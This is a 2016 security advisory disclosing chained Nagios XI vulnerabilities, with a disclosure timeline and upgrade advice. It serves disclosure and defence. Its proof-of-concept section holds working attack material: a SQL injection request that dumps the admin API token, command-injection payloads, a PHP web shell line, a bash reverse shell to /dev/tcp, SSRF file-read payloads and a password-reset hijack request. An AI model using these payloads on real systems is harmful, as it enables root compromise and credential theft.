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/_____// _\________ _____
\____\==/ /_\\ _/ ___\/_ \ / \
/ \/ |\\\__(<_> )Y Y\
/______/\___|__/ \___>____/|__|_|/
\/ \/.-.\/ \/:wq
(x.0)
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presents..
Nagios XI Multiple Vulnerabilities
Affected versions: Nagios XI <= 5.2.7
PDF:
http://www.security-assessment.com/files/documents/advisory/NagiosXI-Advisory.pdf
+-----------+
|Description|
+-----------+
The Nagios XI application is affected by multiple security
vulnerabilities, including unauthenticated SQL injection and
authentication bypass, arbitrary code execution via command injection,
privilege escalation, server-side request forgery and account hijacking.
These vulnerabilities can be chained together to obtain unauthenticated
remote code execution as the root user.
+------------+
|Exploitation|
+------------+
==SQL Injection==
The ‘host’ and ‘service’ GET parameters in the ‘nagiosim.php’ page are
vulnerable to SQL injection via error-based payloads. An attacker can
exploit this vulnerability to retrieve sensitive information from the
application’s MySQL database such as the administrative users’ password
hash (unsalted MD5) or the token used to authenticate to the Nagios XI
REST API. This security issue is aggravated by the fact that an attacker
can directly browse to the vulnerable page and exploit the vulnerability
without providing a valid session cookie.
[POC - DUMP ADMIN API TOKEN]
GET
/nagiosxi/includes/components/nagiosim/nagiosim.php?mode=resolve&host=a&service='+AND+
(SELECT+1+FROM(SELECT+COUNT(*),CONCAT('|APIKEY|',(SELECT+MID((IFNULL(CAST(backend_ticket+AS
+CHAR),0x20)),1,54)+FROM+xi_users+WHERE+user_id%3d1+LIMIT+0,1),'|APIKEY|',FLOOR(RAND(0)*2))
x+FROM+INFORMATION_SCHEMA.CHARACTER_SETS+GROUP+BY+x)a)+OR+' HTTP/1.1
The API token can be reused to bypass authentication either by creating
a user via the REST API or through the Rapid Response functionality as
shown below.
[POC- BYPASS AUTHENTICATION THROUGH RAPID RESPONSE FUNCTIONALITY]
// uid == <user_id>-<object_id>-<MD5(api token)>, object id value
doesn't matter
GET /nagiosxi/rr.php?uid=1-b-<hash> HTTP/1.1
==Command Injection==
Multiple command injection vulnerabilities exist in the Nagios XI web
interface due to unescaped user input being passed to shell functions as
an argument. This issues can be exploited to inject arbitrary shell
commands and obtain remote code execution in the context of the 'apache'
user.
URL => GET
/nagiosxi/includes/components/nagiosim/nagiosim.php?mode=update&token=<api
token>&incident_id=<valid incident id>&title=<PAYLOAD>&status=<any value>
PARAMETER => title
POC PAYLOAD => title'; touch /tmp/FILE; echo '
URL => GET
/nagiosxi/includes/components/perfdata/graphApi.php?host=<any monitored
host IP>&start=<PAYLOAD>&end=<PAYLOAD>
PARAMETERS=> start, end
POC PAYLOAD => 1; touch /tmp/FILE;
==Privilege Escalation==
The Nagios XI default sudoers configuration can be abused to elevate
privileges to root due to an insecure implementation of the
application’s component upload functionality. The ‘apache’ user can run
the getprofile.sh script with root privileges without being prompted for
a password. The getprofile.sh script is part of the Profile component
along with the following files:
- profile.php, the PHP script that outputs the system information.
- profile.inc.php, a PHP include file with required functionality for
profile.php.
An attacker can backdoor the profile.php file with a function to execute
arbitrary shell commands (e.g. <?php system($_GET['cmd']); ?> ), replace
the getprofile.sh file with a malicious payload (e.g. “#!/bin/bash bash
–i >& /dev/tcp/<IP>/<PORT> 0>&1”) and finally create a ‘profile.zip’
archive containing the malicious component files. Once uploaded, the
application will unzip the component archive and overwrite the existing
profile directory and its files, including getprofile.sh.
[POC - MALICIOUS 'profile.zip' COMPONENT ARCHIVE]
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[POC - PRIVILEGE ESCALATION EXPLOITATION]
GET /nagiosxi/includes/components/profile/profile.php?cmd=sudo
./getprofile.sh
The default Profile component archive can be downloaded at the following
link:
https://assets.nagios.com/downloads/nagiosxi/components/profile.zip
==Server-Side Request Forgery==
Multiple server-side request forgery vulnerabilities exist in the Nagios
XI application. An attacker can provide arbitrary data to curl_exec
calls to port scan internal services listening on localhost, read files
on the Nagios XI server file system or send data to other hosts in the
same internal network where the Nagios XI server is deployed.
// the application filter the string 'file://' can be bypassed by
converting the handler to uppercase
URL => GET /nagiosxi/ajaxproxy.php?proxyurl=<PAYLOAD>
PARAMETER => proxyurl
POC PAYLOAD => FILE:///<path>/<file>
URL => GET /nagiosxi/backend/?cmd=geturlhtml&url=<PAYLOAD>
PARAMETER => url
POC PAYLOAD => file:///<path>/<file>
==Account Hijacking==
The Nagios XI application is vulnerable to an arbitrary account
hijacking vulnerability due to an insecure implementation of the
password reset functionality. The application does not enforce any
verification to confirm the provided reset token can only be used to
change the login credentials for the specific user for which it was
generated. A limited user can therefore abuse the password reset
functionality to hijack an administrative account by tampering with the
‘username’ hidden parameter during the password reset process.
[POC - ACCOUNT HIJACKING 'nagiosadmin']
POST /nagiosxi/login.php?finishresetpass&username=stduser&token-<reset
token> HTTP/1.1
token=<reset
token>&username=nagiosadmin&password1=<PASSWORD>&password2=<PASSWORD>&reset=1
+----------+
| Solution |
+----------+
Upgrade to Nagios XI 5.2.8.
Please note at the time of this writing the privilege escalation
vulnerability is still unpatched. The SSRF vulnerabilities have been
only partially fixed by blacklisting the 'file://' handler, but all the
other SSRF attack vectors are still exploitable. Vendor stated these
vulnerabilities will be likely patched on the next release of the
application as they require authentication and as such are not
considered major security issues.
+------------+
|Timeline|
+------------+
13/05/2016 – Initial disclosure to vendor
14/05/2016 – Vendor confirms receipt of advisory
25/05/2016 – Vendor provides fixes for most of the vulnerabilities
25/05/2016 – Enquiry about the status of fixes for the unpatched
vulnerabilities
26/05/2016 – Vendor responded with “Since the major issues have been
fixed and the remaining issues I'd like to touch up are only available
if the user is logged in, or logged in as admin, I don't see a reason to
hold onto releasing the advisory.”
2/06/2016 – Public disclosure
+------------+
| Additional |
+------------+
Further information is available in the accompanying PDF.
http://www.security-assessment.com/files/documents/advisory/NagiosXI-Advisory.pdf
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